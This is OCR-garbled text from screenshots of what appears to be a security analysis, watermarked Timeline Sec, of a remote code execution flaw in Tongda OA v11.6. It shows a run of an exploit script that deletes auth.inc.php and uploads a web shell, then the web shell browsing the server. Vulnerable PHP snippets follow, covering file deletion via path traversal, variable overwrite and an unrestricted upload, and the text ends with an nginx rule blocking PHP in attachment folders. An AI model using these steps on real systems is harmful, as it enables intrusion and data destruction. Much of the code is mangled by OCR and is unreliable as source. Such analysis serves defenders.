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. dbogon TongdaRCE % python3 tongda-rce.py http://172.16.255.130
[*] Checking target's OA version
[*] Target's OA version: v11.6
[*IWarning,This exploit code will DELETE auth.inc.php which may damage the OA
Press enter to continue
[*]1Deleting auth.inc.php....

[*1Checking if file deleted...
[+]Successfully deleted auth.inc.php!
[*]Uploading payload...

[+]Filed Uploaded Successfully

[+]URL: http://172.16.255.130/_at.php %o Timeline Sec
pl.l!lll@bogon TongdaRCE % I:l




@ ® http://172.16.255.130/_at.php K48 v2.0.1

URL: http://172.16.255.130/_at.php EEE
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Y =C:/
$Recycle.Bin #8{2: C:/MYOA/webroot/ n 1 #E
Documents and Setting
¥ MYOA & K fERREdE)
MyAdmin 4096 2020-08-26 15:46:33
b attach 4096 2020-08-26 13:33:47
> bin 2020-08-261546:33 |
datab aP' 0 2020-08-26 13:33:53
logs attachment 4096 2020-08-26 14:42:56
mysql5 favicon.ico 894 2019-06-26 14:21:34
nginx _Igeneral 20480 2020-08-26 13:33:59
tmp images 0 2020-08-26 13:33:49
¥  webroot inc 65536 2020-08-26 14:42:55
api index.php 11525 2020-05-08 20:24:32
attachment _linterface 0 2020-08-26 13:35:38
general ispirit (o] 2020-08-26 13:35:38
images jeush 4096 2020-08-26 13:35:38
inc logincheck.php 4362 2019-07-08 13:10:40
interface logincheck_code.php 10141 2020-05-08 20:24:32
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auth.inc.php

if (!'isset($_SESSIONI["LOGIN_USER_ID
$HTML_PAGE_TITLE = _("BFXER"
include_once "inc/header.inc.ph
Message(_("&SE"), _("BAPEXRER,
echo "<eenter><br><input type=\

exit():

upload.php
<?php
include_once "1inc/auth. inc.php";
include_once "./utils.func.php";
$HTML_PAGE_TITLE = _ (" LEXH");
include_once "inc/header.inc.php";
$error = "";

$m5g — ||||;
@& Timeline Sec
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print.php

<?php

$s_tmp = _DIR_ . "“/u./../.u/../1l0gs/appbuilder/logs";
$S_tmp .= u/u . $_GET["gUid"];

if (file_exists($s_tmp))

$arr_data = unserialize(file_get_contents( S_Fmp)):
unlink($s_tmp); @ Timeline Sec
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common.inc.php

if (@ < count($_COOKIE))
if (0 < count($_POST))
if (@ < count($_GET))
foreach ($_GET as $s_key => $s_value )
if (substr($s_key, @, 7) == "_SERVER")
continue;

if (!is_array($s_value))
$ GETI[$s_key] = addslashes(strip_tags($s_value));

${$s_key} = $_GET[$s_keyl;
reset($_GET);

unset($s_key);
unset($s_value);
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upload. php

PR L

SHTML PAGE_TITLE = _(" Lf&3H4");
include_once "inc/header.inc.php";
serror 9

$msg = "";

if ($action == "upload")
if ($filetype == "x1s"
else if ($filetype ==

ATTACH_PATH . "/data_center/attachment/";
"/data_center/attachment"))
if (isset($from_rep))
else
$s_n = $_FILES["FILE1"] ["name"];
if (¢s_n[0] !'= "{")

$s_n = $repkid . "_" . $s_n;

if (move_uploaded_file($_FILES["FILE1"] ["tmp_name"], $uploaddir . $s_n))
@ Timeline Sec
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It & &) LA attachment F L E B php EH R X HEH A 2 iF.

3 nginx.conf

location ~+ ~/(attachment|static|images|theme|templates|wav)/.#\.(php|.php3|.php5|jsp|asp)$ {
deny all; @ Timeline Sec

}
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